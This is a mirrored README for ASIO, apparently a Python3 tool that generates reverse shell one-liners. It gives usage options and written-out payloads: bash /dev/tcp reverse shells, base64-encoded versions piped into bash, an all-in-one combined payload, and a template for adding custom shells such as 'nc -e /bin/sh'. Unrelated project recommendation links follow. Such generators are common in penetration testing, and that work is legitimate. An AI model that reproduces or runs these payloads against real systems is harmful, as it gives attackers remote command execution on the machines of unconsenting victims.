Code Monkey home page Code Monkey logo

asio's Introduction

ASIO

Description

ASIO (All Shell In One) is a tool written in Python3 that generates reverse shells. It has the ability to cast a one liner that uses all the available reverse shell techniques

Usage

usage: asio.py [-h] -H HOST -P PORT [-A] [-B]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Hostname or IP of the server
  -P PORT, --port PORT  Port of the server
  -A, --all             Use this argument to generate a full one liner to try all the reverse shell possible.
  -B, --base64          Encode all the reverse shells in base64 and build a one liner to execute the decoded string

Examples

Generate multiple reverse shells

Command:

./asio.py -H 127.0.0.1 -P 8080

Output:

 sh in dev tcp 
 sh -i >& /dev/tcp/127.0.0.1/8080 0>&1

 exec sh in dev tcp 
 0<&196;exec 196<>/dev/tcp/127.0.0.1/8080; sh <&196 >&196 2>&196

Generate multiple reverse shells encoded in base64

Command:

./asio.py -H 127.0.0.1 -P 8080 -B

Output:

 sh in dev tcp 
echo IHNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84MDgwIDA+JjE= | base64 -d | bash

exec sh in dev tcp 
echo IDA8JjE5NjtleGVjIDE5Njw+L2Rldi90Y3AvMTI3LjAuMC4xLzgwODA7IHNoIDwmMTk2ID4mMTk2IDI+JjE5Ng== | base64 -d | bash

Generate one liner with all the available teqniques encoded in base64

Command:

./asio.py -H 127.0.0.1 -P 8080 -B -A

Output:

 All in one
echo KCBzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjE<more base64> | base64 -d | bash

Add presonalized reverse shells

  • Edit the personal_shells.txt file
  • Use the following syntaxt: Name of the Revere Shell | Reverse Shell Code
  • Use {HOST} and {PORT} as a placeholders for address and port variables.

Example

sh in dev tcp | sh -i >& /dev/tcp/{HOST}/{PORT} 0>&1

netcat -e | nc -e /bin/sh {HOST} {PORT}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.